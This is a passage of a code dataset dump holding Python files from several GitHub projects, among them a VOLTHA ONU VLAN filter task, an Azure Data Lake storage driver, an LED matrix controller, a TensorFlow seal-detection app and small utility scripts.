 - Nothing\n        #  References:\n        #            - MacBridgePortConfigurationData for the ANI/PON side\n        #\n\n        # TODO: check if its in our local mib first before blindly deleting\n        if self._tp_id != 0:\n            yield self._create_vlan_filter_entity(vlan_tagging_entity_id)\n\n        self.log.info('setting-vlan-tagging')\n\n        # Onu-Transparent\n        if self._set_vlan_id == RESERVED_TRANSPARENT_VLAN:\n            # Transparently send any single tagged packet.\n            # As the onu is to be transparent, no need to create VlanTaggingFilterData ME.\n            # Any other specific rules will take priority over this, so not setting any other vlan specific rules\n            entry = VlanTaggingOperation(\n                filter_outer_priority=15,  # not an outer tag rule, ignore all other outers\n                filter_outer_vid=4096,  # ignore\n                filter_outer_tpid_de=0,  # ignore\n                filter_inner_priority=14,  # default single tagged rule\n                filter_inner_vid=4096,  # do not match on vlan value\n                filter_inner_tpid_de=0,  # do not match on tpid\n                filter_ether_type=0,  # do not filter on untagged ethertype\n                treatment_tags_to_remove=0,  # do not remove any tags\n                treatment_outer_priority=15,  # do not add outer tag\n                treatment_outer_vid=0,  # ignore\n                treatment_outer_tpid_de=0,  # ignore\n                treatment_inner_priority=15,  # do not add inner tag\n                treatment_inner_vid=0,  # ignore\n                treatment_inner_tpid_de=4  # set TPID 0x8100\n            )\n\n            attributes = dict(received_frame_vlan_tagging_operation_table=entry)\n            msg = ExtendedVlanTaggingOperationConfigurationDataFrame(\n                extended_vlan_tagging_entity_id,  # Bridge Entity ID\n                attributes=attributes\n            )\n\n            frame = msg.set()\n            self.log.debug('openomci-msg', omci_msg=msg)\n            self.strobe_watchdog()\n            results = yield self._device.omci_cc.send(frame)\n            self.check_status_and_state(results, 'set-evto-table-transparent-vlan')\n        else:\n            # Update uni side extended vlan filter\n            # filter for any set vlan - even its match tag is TRANSPARENT.\n            # For TRANSPARENT match_vlan tag case we modified vlan_pcp and treatment_tags_to_remove values during init.\n            entry = VlanTaggingOperation(\n                filter_outer_priority=15,  # This entry is not a double-tag rule\n                filter_outer_vid=4096,  # Do not filter on the outer VID value\n                filter_outer_tpid_de=0,  # Do not filter on the outer TPID field\n\n                filter_inner_priority=self._vlan_pcp,  # Filter on inner vlan\n                filter_inner_vid=self._match_vlan,  # Look for match vlan\n                filter_inner_tpid_de=0,  # Do not filter on inner TPID field\n                filter_ether_type=0,  # Do not filter on EtherType\n\n                treatment_tags_to_remove=self._treatment_tags_to_remove,\n                treatment_outer_priority=15,\n                treatment_outer_vid=0,\n                treatment_outer_tpid_de=0,\n\n                treatment_inner_priority=self._set_vlan_pcp,  # Add an inner priority\n                treatment_inner_vid=self._set_vlan_id,  # use this value as the VID in the inner VLAN tag\n                treatment_inner_tpid_de=4,  # set TPID\n            )\n\n            attributes = dict(received_frame_vlan_tagging_operation_table=entry)\n            msg = ExtendedVlanTaggingOperationConfigurationDataFrame(\n                extended_vlan_tagging_entity_id,  # Bridge Entity ID\n                attributes=attributes  # See above\n            )\n            frame = msg.set()\n            self.log.debug('openomci-msg', omci_msg=msg)\n            self.strobe_watchdog()\n            results = yield self._device.omci_cc.send(frame)\n            self.check_status_and_state(results, 'set-evto-table')\n\n    @inlineCallbacks\n    def _bulk_update_evto_and_vlan_tag_filter(self):\n        self.log.info(\"bulk-update-evto-and-vlan-tag-filter\")\n        # First reset any existing config EVTO and vlan tag filter on the ONU\n        yield self._reset_evto_and_vlan_tag_filter()\n\n        vlan_tagging_entity_id = int(self._mac_bridge_port_ani_entity_id + self._uni_port.entity_id\n                                     + self._tp_id)\n        extended_vlan_tagging_entity_id = self._mac_bridge_service_profile_entity_id + \\\n                                          self._uni_port.mac_bridge_port_num\n\n        # Onu-Transparent\n        if self._set_vlan_id == RESERVED_TRANSPARENT_VLAN:\n            # Transparently send any single tagged packet.\n            # As the onu is to be transparent, no need to create VlanTaggingFilterData ME.\n            # Any other specific rules will take priority over this, so not setting any other vlan specific rules\n            attributes = dict(\n                received_frame_vlan_tagging_operation_table=\n                VlanTaggingOperation(\n                    filter_outer_priority=15,\n                    filter_outer_vid=4096,\n                    filter_outer_tpid_de=0,\n                    filter_inner_priority=14,\n                    filter_inner_vid=4096,\n                    filter_inner_tpid_de=0,\n                    filter_ether_type=0,\n                    treatment_tags_to_remove=0,\n                    treatment_outer_priority=15,\n                    treatment_outer_vid=0,\n                    treatment_outer_tpid_de=0,\n                    treatment_inner_priority=15,\n                    treatment_inner_vid=0,\n                    treatment_inner_tpid_de=4\n                )\n            )\n\n            msg = ExtendedVlanTaggingOperationConfigurationDataFrame(\n                extended_vlan_tagging_entity_id,  # Bridge Entity ID\n                attributes=attributes\n            )\n\n            frame = msg.set()\n            self.log.debug('openomci-msg', omci_msg=msg)\n            self.strobe_watchdog()\n            results = yield self._device.omci_cc.send(frame)\n            self.check_status_and_state(results, 'set-evto-table-transparent-vlan')\n\n        else:\n            # Re-Create bridge ani side vlan filter\n            forward_operation = 0x10  # VID investigation\n\n            msg = VlanTaggingFilterDataFrame(\n                vlan_tagging_entity_id,\n                vlan_tcis=[self._set_vlan_id],  # VLAN IDs\n                forward_operation=forward_operation\n            )\n            frame = msg.create()\n            self.log.debug('openomci-msg', omci_msg=msg)\n            self.strobe_watchdog()\n            results = yield self._device.omci_cc.send(frame)\n            self.check_status_and_state(results, 'flow-create-vlan-tagging-filter-data')\n            # Update uni side extended vlan filter\n            # filter for untagged\n            attributes = dict(\n                received_frame_vlan_tagging_operation_table=\n                VlanTaggingOperation(\n                    filter_outer_priority=15,\n                    filter_outer_vid=4096,\n                    filter_outer_tpid_de=0,\n                    filter_inner_priority=15,\n                    filter_inner_vid=4096,\n                    filter_inner_tpid_de=0,\n                    filter_ether_type=0,\n                    treatment_tags_to_remove=0,\n                    treatment_outer_priority=15,\n                    treatment_outer_vid=0,\n                    treatment_outer_tpid_de=0,\n                    treatment_inner_priority=0,\n                    treatment_inner_vid=self._set_vlan_id,\n                    treatment_inner_tpid_de=4\n                )\n            )\n\n            msg = ExtendedVlanTaggingOperationConfigurationDataFrame(\n                extended_vlan_tagging_entity_id,  # Bridge Entity ID\n                attributes=attributes\n            )\n\n            frame = msg.set()\n            self.log.debug('openomci-msg', omci_msg=msg)\n            self.strobe_watchdog()\n            results = yield self._device.omci_cc.send(frame)\n            self.check_status_and_state(results, 'set-evto-table-untagged')\n\n            # Update uni side extended vlan filter\n            # filter for vlan 0\n            attributes = dict(\n                received_frame_vlan_tagging_operation_table=\n                VlanTaggingOperation(\n                    filter_outer_priority=15,  # This entry is not a double-tag rule\n                    filter_outer_vid=4096,  # Do not filter on the outer VID value\n                    filter_outer_tpid_de=0,  # Do not filter on the outer TPID field\n\n                    filter_inner_priority=8,  # Filter on inner vlan\n                    filter_inner_vid=0x0,  # Look for vlan 0\n                    filter_inner_tpid_de=0,  # Do not filter on inner TPID field\n                    filter_ether_type=0,  # Do not filter on EtherType\n\n                    treatment_tags_to_remove=1,\n                    treatment_outer_priority=15,\n                    treatment_outer_vid=0,\n                    treatment_outer_tpid_de=0,\n\n                    treatment_inner_priority=8,  # Add an inner tag and insert this value as the priority\n                    treatment_inner_vid=self._set_vlan_id,  # use this value as the VID in the inner VLAN tag\n                    treatment_inner_tpid_de=4,  # set TPID\n                )\n            )\n            msg = ExtendedVlanTaggingOperationConfigurationDataFrame(\n                extended_vlan_tagging_entity_id,  # Bridge Entity ID\n                attributes=attributes  # See above\n            )\n            frame = msg.set()\n            self.log.debug('openomci-msg', omci_msg=msg)\n            self.strobe_watchdog()\n            results = yield self._device.omci_cc.send(frame)\n            self.check_status_and_state(results, 'set-evto-table-zero-tagged')\n","repo_name":"opencord/voltha-openonu-adapter","sub_path":"python/adapters/brcm_openomci_onu/omci/brcm_vlan_filter_task.py","file_name":"brcm_vlan_filter_task.py","file_ext":"py","file_size_in_byte":25564,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"17483687965","text":"import numpy as np\r\nimport mcGrid\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.colors import ListedColormap\r\n\r\nplt.close('all')\r\n\r\ndef visualize(randomGrid, colormap):\r\n    keys = list(colormap.keys())\r\n    colors = [colormap[key] for key in keys]\r\n\r\n    image = [[keys.index(val) for val in row[1:]] for row in randomGrid]\r\n    return image, colors\r\n\r\n\r\n\r\n\r\nnumRows = 100\r\nnumCols = 100\r\n\r\nxmu = 0.5\r\nxsigma = 0.1\r\nxDistribution = lambda x: np.exp(-((x - xmu) / xsigma)**2 / 2) * 2.5 / np.sqrt(2 * np.pi)\r\n\r\nymu = 0.5\r\nysigma = 0.1\r\nyDistribution = lambda y: np.exp(-((y - ymu) / ysigma)**2 / 2) * 2.5 / np.sqrt(2 * np.pi)\r\n\r\ncolormap = {0:'white', 1:'red'}\r\n\r\n\r\n\r\n\r\nnewGrid = mcGrid.createGrid(numRows, numCols, xDistribution, yDistribution)\r\n\r\nimage, colors = visualize(newGrid, colormap)\r\n\r\nplt.imshow(image, cmap = ListedColormap(colors), interpolation = 'nearest')\r\nplt.show()\r\n\r\n\r\n","repo_name":"braydenbekker/finalproject513","sub_path":"driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30540770425","text":"from PIL import Image, ImageChops\nfrom rgbmatrix import RGBMatrix, RGBMatrixOptions\nfrom io import BytesIO\nimport base64\nimport os\n\n\nclass Controller():\n\n    def __init__(self):\n        # マトリクスの初期化\n        options = RGBMatrixOptions()\n        options.hardware_mapping = 'adafruit-hat'\n        options.rows = 32\n        options.cols = 128\n        options.brightness = 50\n        options.gpio_slowdown = 4\n        options.pwm_lsb_nanoseconds = 100\n        matrix = RGBMatrix(options=options)\n        # インスタンス変数\n        self.matrix = matrix\n        self.images_dir = \"\"\n        self.flist = []\n        self.index = 0\n    \n    def _remove_background(self, image):\n        r, g, b = image.split()\n        src = (51, 51, 51)\n        r = r.point(lambda p: 1 if p == src[0] else 0, mode=\"1\")\n        g = g.point(lambda p: 1 if p == src[1] else 0, mode=\"1\")\n        b = b.point(lambda p: 1 if p == src[2] else 0, mode=\"1\")\n        mask = ImageChops.logical_and(r, g)\n        mask = ImageChops.logical_and(mask, b)\n        image.paste(Image.new('RGB', (128, 32), (0, 0, 0)), mask=mask)\n        return image\n    \n    def set_images_dir(self, images_dir):\n        self.images_dir = images_dir\n        # ディレクトリ内の画像を検索\n        for file in os.listdir(self.images_dir):\n            _, ext = os.path.splitext(file)\n            if ext == '.png' or ext == '.bmp' or ext == '.jpg':\n                self.flist.append(file)\n    \n    def draw_matrix(self, idx):\n        # 画像を表示\n        image_path = os.path.join(self.images_dir, self.flist[idx])\n        image = Image.open(image_path).convert('RGB')\n        # 画像の縮小・背景除去\n        image = image.resize((128, 32), Image.NONE)\n        image = self._remove_background(image)\n        self.matrix.SetImage(image)\n\n    def show_next_image(self):\n        self.index += 1\n        if self.index > len(self.flist) - 1:\n            self.index = 0\n        self.draw_matrix(self.index)\n\n    def show_prev_image(self):\n        self.index -= 1\n        if self.index < 0:\n            self.index = len(self.flist) - 1\n        self.draw_matrix(self.index)\n    \n    def get_image_base64(self):\n        # エンコード用バッファ\n        buffer = BytesIO()\n        # 現在表示されている画像の表示\n        image_path = os.path.join(self.images_dir, self.flist[self.index])\n        image = Image.open(image_path)\n        # 拡張子を抽出\n        _, ext = os.path.splitext(image_path)  \n        # base64エンコード\n        image.save(buffer, format=ext.lstrip(\".\").upper())\n        return base64.b64encode(buffer.getvalue()).decode().replace(\"'\", \"\")","repo_name":"Yuta-NoobCoder/rpi-rollsign-api","sub_path":"src/RollsignController.py","file_name":"RollsignController.py","file_ext":"py","file_size_in_byte":2669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41144392738","text":"#!/usr/bin/env python3\n\ndef numbers():\n    try:\n        filename = open(\"numbers.txt\", 'r')\n    except:\n        exit()\n    for i in filename.readline().rstrip(\"\\n\").split(\",\"):\n        print(i)\n    filename.close()\n\nif __name__ == '__main__':\n    numbers()\n","repo_name":"hwcho0456/PythonPiscine","sub_path":"d01/ex01/numbers.py","file_name":"numbers.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40700776801","text":"import socket\nimport sys\nimport time\nip=\"\"\nport=8090\nsize=1024\nmsg=\"\"\ntry:\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n print(\"Created successfuly...\")\nexcept:\n print(\"error while creating socket\")\n\ns.connect(('',port))\n#s.bind((ip,port))\ntry:\n msg=input(\"Enter ur message here to send:\")\n print(\"Trying to send ur message...\")\n time.sleep(5)\n print(\"Error while sending the message,retrying\")\n time.sleep(5)\n s.send(msg.encode('ascii'))\n print(\"message sent successfully....\")\nexcept:\n print(\"Error while sending the message to:\",ip,\"Via the port:\",port)\n","repo_name":"YashSaxena75/GME","sub_path":"msg.py","file_name":"msg.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26862496791","text":"from django.contrib.auth.forms import UserCreationForm, UserChangeForm\nfrom .models import Prof\n\n\nclass ProfCreationForm(UserCreationForm):\n    class Meta:\n        model = Prof\n        fields = ('profession', 'numero', 'profile', 'adresse')\n\n\nclass ProfChangeForm(UserChangeForm):\n    class Meta:\n        model = Prof\n        fields = ('profession', 'numero', 'profile', 'adresse')\n","repo_name":"nathan-lopez-code/happ","sub_path":"api/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72143621220","text":"from dataclasses import dataclass, field\nfrom logging import Logger\n\nfrom spark_rapids_pytools.cloud_api.sp_types import CMDDriverBase\nfrom spark_rapids_pytools.common.prop_manager import JSONPropertiesContainer\nfrom spark_rapids_pytools.common.sys_storage import StorageDriver, FSUtil\nfrom spark_rapids_pytools.common.utilities import ToolLogging\n\n\n@dataclass\nclass AzureStorageDriver(StorageDriver):\n    \"\"\"\n    Wrapper around azure commands such as copying/moving/listing files.\n    \"\"\"\n    cli: CMDDriverBase\n    account_keys: dict = field(default_factory=dict, init=False)\n    logger: Logger = field(default=ToolLogging.get_and_setup_logger('rapids.tools.azurestoragedriver'), init=False)\n\n    @classmethod\n    def get_cmd_prefix(cls):\n        pref_arr = ['az storage fs']\n        return pref_arr[:]\n\n    @classmethod\n    def get_file_system(cls, url: str):\n        return url.split('@')[0].split('://')[1]\n\n    @classmethod\n    def get_account_name(cls, url: str):\n        return url.split('@')[1].split('.')[0]\n\n    @classmethod\n    def get_path(cls, url: str):\n        return url.split('dfs.core.windows.net')[1]\n\n    def get_account_key(self, account_name: str):\n        if account_name in self.account_keys:\n            return self.account_keys[account_name]\n\n        try:\n            cmd_args = ['az storage account show-connection-string', '--name', account_name]\n            std_out = self.cli.run_sys_cmd(cmd_args)\n            conn_str = JSONPropertiesContainer(prop_arg=std_out, file_load=False).get_value('connectionString')\n            key = conn_str.split('AccountKey=')[1].split(';')[0]\n            self.account_keys[account_name] = key\n        except Exception as ex:  # pylint: disable=broad-except\n            self.logger.info('Error retrieving access key for storage account %s: %s', account_name, ex)\n            key = ''\n\n        return key\n\n    def resource_is_dir(self, src: str) -> bool:\n        if not src.startswith('abfss://'):\n            return super().resource_is_dir(src)\n\n        try:\n            file_system = self.get_file_system(src)\n            account_name = self.get_account_name(src)\n            path = self.get_path(src)\n\n            cmd_args = self.get_cmd_prefix()\n            cmd_args.extend(['file list', '-f', file_system, '--account-name', account_name])\n            if path:\n                cmd_args.extend(['--path', path])\n\n            account_key = self.get_account_key(account_name)\n            if account_key:\n                cmd_args.extend(['--account-key', account_key])\n\n            std_out = self.cli.run_sys_cmd(cmd_args)\n            stdout_info = JSONPropertiesContainer(prop_arg=std_out, file_load=False)\n            path = path.lstrip('/')\n\n            if not (len(stdout_info.props) == 1 and stdout_info.props[0]['name'] == path):  # not a file\n                return True\n        except RuntimeError:\n            self.cli.logger.debug('Error in checking resource [%s] is directory', src)\n        return False\n\n    def resource_exists(self, src) -> bool:\n        if not src.startswith('abfss://'):\n            return super().resource_exists(src)\n\n        # run 'az storage fs file list' if result is 0, then the resource exists.\n        try:\n            file_system = self.get_file_system(src)\n            account_name = self.get_account_name(src)\n            path = self.get_path(src)\n\n            cmd_args = self.get_cmd_prefix()\n            cmd_args.extend(['file list', '-f', file_system, '--account-name', account_name])\n            if path:\n                cmd_args.extend(['--path', path])\n\n            account_key = self.get_account_key(account_name)\n            if account_key:\n                cmd_args.extend(['--account-key', account_key])\n\n            self.cli.run_sys_cmd(cmd_args)\n            res = True\n        except RuntimeError:\n            res = False\n        return res\n\n    def _download_remote_resource(self, src: str, dest: str) -> str:\n        if not src.startswith('abfss://'):\n            return super()._download_remote_resource(src, dest)\n        # this is azure data lake storage\n        file_system = self.get_file_system(src)\n        account_name = self.get_account_name(src)\n        path = self.get_path(src)\n\n        cmd_args = self.get_cmd_prefix()\n        if self.resource_is_dir(src):\n            cmd_args.extend(['directory download', '-f', file_system, '--account-name', account_name])\n            cmd_args.extend(['-s', path, '-d', dest, '--recursive'])\n        else:\n            cmd_args.extend(['file download', '-f', file_system, '--account-name', account_name])\n            cmd_args.extend(['-p', path, '-d', dest])\n\n        account_key = self.get_account_key(account_name)\n        if account_key:\n            cmd_args.extend(['--account-key', account_key])\n\n        self.cli.run_sys_cmd(cmd_args)\n        return FSUtil.build_full_path(dest, FSUtil.get_resource_name(src))\n\n    def _upload_remote_dest(self, src: str, dest: str, exclude_pattern: str = None) -> str:\n        if not dest.startswith('abfss://'):\n            return super()._upload_remote_dest(src, dest)\n        # this is azure data lake storage\n        file_system = self.get_file_system(dest)\n        account_name = self.get_account_name(dest)\n        dest_path = self.get_path(dest)\n        src_resource_name = FSUtil.get_resource_name(src)\n        dest_resource_name = FSUtil.get_resource_name(dest)\n\n        cmd_args = self.get_cmd_prefix()\n        #  source is a directory\n        if self.resource_is_dir(src):\n            # for azure cli, specifying a directory to copy will result in a duplicate; so we will double-check\n            # that if the dest already has the name of the src, then we move level up.\n            if src_resource_name == dest_resource_name:\n                # go to the parent level for destination\n                dest_path = dest_path.split(src_resource_name)[0].rstrip('/')\n            cmd_args.extend(['directory upload', '-f', file_system, '--account-name', account_name])\n            cmd_args.extend(['-s', src, '-d', dest_path, '--recursive'])\n        else:  # source is a file\n            cmd_args.extend(['file upload', '-f', file_system, '--account-name', account_name])\n            # dest is a directory, we will append the source resource name to it\n            if self.resource_is_dir(dest):\n                dest_path = dest_path if dest_path[-1] == '/' else dest_path + '/'\n                dest_path = dest_path + src_resource_name\n            cmd_args.extend(['-s', src, '-p', dest_path])\n\n        account_key = self.get_account_key(account_name)\n        if account_key:\n            cmd_args.extend(['--account-key', account_key])\n\n        self.cli.run_sys_cmd(cmd_args)\n        return FSUtil.build_path(dest, FSUtil.get_resource_name(src))\n\n    def is_file_path(self, value: str):\n        if value.startswith('https://'):\n            return True\n        return super().is_file_path(value)\n\n    def _delete_path(self, src, fail_ok: bool = False):\n        if not src.startswith('abfss://'):\n            super()._delete_path(src)\n            return\n\n        # this is azure data lake storage\n        file_system = self.get_file_system(src)\n        account_name = self.get_account_name(src)\n        path = self.get_path(src)\n\n        cmd_args = self.get_cmd_prefix()\n        if self.resource_is_dir(src):\n            cmd_args.extend(['directory delete', '-f', file_system, '--account-name', account_name])\n            cmd_args.extend(['-n', path, '-y'])\n        else:\n            cmd_args.extend(['file delete', '-f', file_system, '--account-name', account_name])\n            cmd_args.extend(['-p', path, '-y'])\n\n        account_key = self.get_account_key(account_name)\n        if account_key:\n            cmd_args.extend(['--account-key', account_key])\n\n        self.cli.run_sys_cmd(cmd_args)\n","repo_name":"NVIDIA/spark-rapids-tools","sub_path":"user_tools/src/spark_rapids_pytools/cloud_api/azurestorage.py","file_name":"azurestorage.py","file_ext":"py","file_size_in_byte":7809,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"35"}
{"seq_id":"10513688142","text":"import sys\n\n\nclass View:\n    \"\"\"\n    this module receives data from controller module and views them based on the conditions we have\n    the model module returns data to controller module and the controller passes it to view\n    \"\"\"\n    def __init__(self, content, state, only_view_on_errors=False):\n        self.content = content\n        self.state = state\n        self.only_view_on_errors = only_view_on_errors\n        self.user_view()\n\n    def user_view(self):\n        if self.only_view_on_errors:\n            if not self.state:\n                return self.print_stderr_content()\n        else:\n            if self.state:\n                return self.print_stdout_content()\n            else:\n                return self.print_stderr_content()\n\n    def print_stdout_content(self):\n        print(\"[ * ]\", self.content, file=sys.stdout)\n        return self.content\n\n    def print_stderr_content(self):\n        print(\"[ - ]\", self.content, file=sys.stderr)\n        return self.content\n","repo_name":"navidshariaty/has","sub_path":"src/has_view.py","file_name":"has_view.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25854666679","text":"import sys\nimport cv2\nimport requests\nimport numpy as np\nimport tensorflow as tf\nfrom PIL import Image\nfrom io import BytesIO\nfrom tkinter import messagebox\nfrom tkinter import filedialog\nfrom object_detection import ObjectDetection\n\n# Due to tensorflow\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n\nclass ActionHandler():\n    def __init__(self):\n        super().__init__()\n        self.magistrate = Magistrate()\n        self.img_formats = (\"image/png\", \"image/jpeg\", \"image/gif\", \"image/jpg\",\n                            \"image/tiff\", \"image/bmp\", \"image/x-xpm\", \"image/webp\")\n\n    def btnClick(self, action, url=None, deviceID=None):\n        if action == \"OpenImg\":\n            self.__getFile()\n        elif action == \"UrlImg\":\n            self.__getUrlImg(url)\n        elif action == \"OpenDev\":\n            self.__openWebcam(int(deviceID))\n        elif action == \"Exit\":\n            self.__askQuit()\n\n    def __getFile(self):\n        file_path = filedialog.askopenfilename()\n        if file_path == '':\n            messagebox.showerror(\n                \"Error\", \"Please choose File\")\n            return\n        try:\n            img = Image.open(file_path)\n            self.magistrate.showImage(img=img)\n        except Image.UnidentifiedImageError:\n            messagebox.showerror(\n                \"Error\", \"File must be \\\"Image\\\"\")\n\n    def __getUrlImg(self, url):\n        string = \"\"\n        try:\n            response = requests.get(url, timeout=3)\n            if response.headers['content-type'] in self.img_formats:\n                img = Image.open(BytesIO(response.content))\n                self.magistrate.showImage(img=img)\n                return\n            else:\n                string = \"is not image\"\n        except requests.exceptions.HTTPError as errh:\n            string = f\"Http Error:{errh}\"\n        except requests.exceptions.ConnectionError as errc:\n            string = f\"Error Connecting:{errc}\"\n        except requests.exceptions.Timeout as errt:\n            string = f\"Timeout Error:{errt}\"\n        except requests.exceptions.RequestException as err:\n            string = f\"OOps: Something Else:{err}\"\n        messagebox.showerror(\"Error\", string)\n\n    def __openWebcam(self, deviceID):\n        cap = cv2.VideoCapture(deviceID)\n        self.magistrate.showImage(cap=cap)\n        cap.release()\n        cv2.destroyAllWindows()\n\n    def __askQuit(self):\n        if messagebox.askokcancel(\"Quit\", \"Do you really wish to quit?\"):\n            sys.exit()\n        else:\n            pass\n\n\nclass Magistrate():\n    def __init__(self):\n        super().__init__()\n        self.model = Models()\n\n    def showImage(self, img=None, cap=None):\n        if cap != None:\n            width = cap.get(cv2.CAP_PROP_FRAME_WIDTH)\n            height = cap.get(cv2.CAP_PROP_FRAME_HEIGHT)\n            scale_percent = 600 / height\n            cap.set(cv2.CAP_PROP_FRAME_WIDTH, int(width * scale_percent))\n            cap.set(cv2.CAP_PROP_FRAME_HEIGHT, int(height * scale_percent))\n        else:\n            img = cv2.cvtColor(np.asarray(img), cv2.COLOR_RGB2BGR)\n            height, width, c = img.shape\n            scale_percent = 600 / height\n            newsize = (int(width * scale_percent), int(height * scale_percent))\n            img = cv2.resize(img, newsize)\n\n        while True:\n            if cap != None:\n                ret, frame = cap.read()\n                if not ret:\n                    messagebox.showerror(\n                        \"Error\", \"VideoCapture.read() failed, Exiting...\")\n                    break\n                img = frame\n\n            verdict, fontcolor = self.__judge(img)\n            cv2.putText(img, verdict,\n                        (50, 50), cv2.FONT_ITALIC, 2, fontcolor, 4)\n            cv2.imshow('Checker', img)\n            if cv2.waitKey(1) & 0xFF == ord('q'):\n                cv2.destroyAllWindows()\n                break\n            else:\n                continue\n\n    def __judge(self, img):\n        handPredictions = self.__isHandJudge(Image.fromarray(img))\n        # img = np.asarray(img)\n        print(handPredictions)\n        for hand_pred_ret in handPredictions:\n            prob = hand_pred_ret['probability']\n            tagID = hand_pred_ret['tagId']\n            if tagID == 0 and prob > 0.2:\n                print(f\"{hand_pred_ret['tagName']} {prob}\")\n                bbox = hand_pred_ret['boundingBox']\n                left = bbox['left']\n                top = bbox['top']\n                width = bbox['width']\n                height = bbox['height']\n                x1 = int(left * img.shape[1])\n                y1 = int(top * img.shape[0])\n                x2 = x1 + int(width * img.shape[1])\n                y2 = y1 + int(height * img.shape[0])\n                cv2.imshow('test', img[y1:y2, x1:x2])\n                sealPredictions = self.__isSealJudge(\n                    Image.fromarray(img[y1:y2, x1:x2]))\n                for seal_pred_ret in sealPredictions:\n                    seal_prob = seal_pred_ret['probability']\n                    seal_tagID = seal_pred_ret['tagId']\n                    if seal_tagID == 0 and seal_prob > 0.2:\n                        print(f\"{seal_pred_ret['tagName']} {prob}\")\n                        return \"Pass\", (0, 255, 0)\n\n        return \"None\", (0, 0, 0)\n\n    def __isHandJudge(self, image):\n        hand_model = TFObjectDetection(self.model.get_Hand_ModelandLabel())\n\n        predictions = hand_model.predict_image(image)\n        return predictions\n\n    def __isSealJudge(self, image):\n        seal_model = TFObjectDetection(self.model.get_Seal_ModelandLabel())\n\n        predictions = seal_model.predict_image(image)\n        return predictions\n\n\nclass Models():\n    __is_hand_model_path = './resource/is_hand_model.pb'\n    __is_hand_label_path = './resource/is_hand_labels.txt'\n    __have_seal_model_path = './resource/have_seal_model.pb'\n    __have_seal_label_path = './resource/have_seal_labels.txt'\n    __hand_graph_def = tf.compat.v1.GraphDef()\n    __seal_graph_def = tf.compat.v1.GraphDef()\n\n    def __init__(self):\n        super().__init__()\n        # Load a TensorFlow model\n        with tf.io.gfile.GFile(self.__is_hand_model_path, 'rb') as f:\n            self.__hand_graph_def.ParseFromString(f.read())\n        with tf.io.gfile.GFile(self.__have_seal_model_path, 'rb') as f:\n            self.__seal_graph_def.ParseFromString(f.read())\n\n        # Load labels\n        with open(self.__is_hand_label_path, 'r') as f:\n            self.__hand_labels = [l.strip() for l in f.readlines()]\n        with open(self.__have_seal_label_path, 'r') as f:\n            self.__seal_labels = [l.strip() for l in f.readlines()]\n\n    def get_Hand_ModelandLabel(self):\n        return dict({'graph_def': self.__hand_graph_def, 'labels': self.__hand_labels})\n\n    def get_Seal_ModelandLabel(self):\n        return dict({'graph_def': self.__seal_graph_def, 'labels': self.__seal_labels})\n\n\nclass TFObjectDetection(ObjectDetection):\n    \"\"\"Object Detection class for TensorFlow\"\"\"\n\n    def __init__(self, modelinfo):\n        super(TFObjectDetection, self).__init__(modelinfo['labels'])\n        self.graph = tf.compat.v1.Graph()\n        with self.graph.as_default():\n            input_data = tf.compat.v1.placeholder(\n                tf.float32, [1, None, None, 3], name='Placeholder')\n            tf.import_graph_def(modelinfo['graph_def'], input_map={\n                                \"Placeholder:0\": input_data}, name=\"\")\n\n    def predict(self, preprocessed_image):\n        inputs = np.array(preprocessed_image, dtype=np.float)[\n            :, :, (2, 1, 0)]  # RGB -> BGR\n\n        with tf.compat.v1.Session(graph=self.graph) as sess:\n            output_tensor = sess.graph.get_tensor_by_name('model_outputs:0')\n            outputs = sess.run(\n                output_tensor, {'Placeholder:0': inputs[np.newaxis, ...]})\n            return outputs[0]\n","repo_name":"LuLuSaBee/Check-NKUST-Seal","sub_path":"llsb_utils.py","file_name":"llsb_utils.py","file_ext":"py","file_size_in_byte":7831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14084932226","text":"import itertools\nimport os\nimport re\n\ndef _get_filenames(wd='.'):\n    it = (files for _, _, files in os.walk(wd))\n    return itertools.chain.from_iterable(it)\n\n# Returns dict of anime titles to their max. local episode number\ndef anime(ac, wd=\".\"):\n    files = _get_filenames(wd)\n    anime_list = {}\n\n    for f, a in itertools.product(files, ac):\n        search_regex = re.escape(a[\"local\"])\n        search_regex = re.sub('\\\\\\{episode.*\\\\\\}', '(\\d+)', search_regex)\n        match = re.search(search_regex, f)\n        if match:\n            if a['title'] not in anime_list:\n                anime_list[a['title']] = [int(match.group(1))]\n            elif int(match.group(1)) not in anime_list[a['title']]:\n                anime_list[a['title']].append(int(match.group(1)))\n    return anime_list\n\n","repo_name":"luketurner/animagic","sub_path":"animagic/local.py","file_name":"local.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
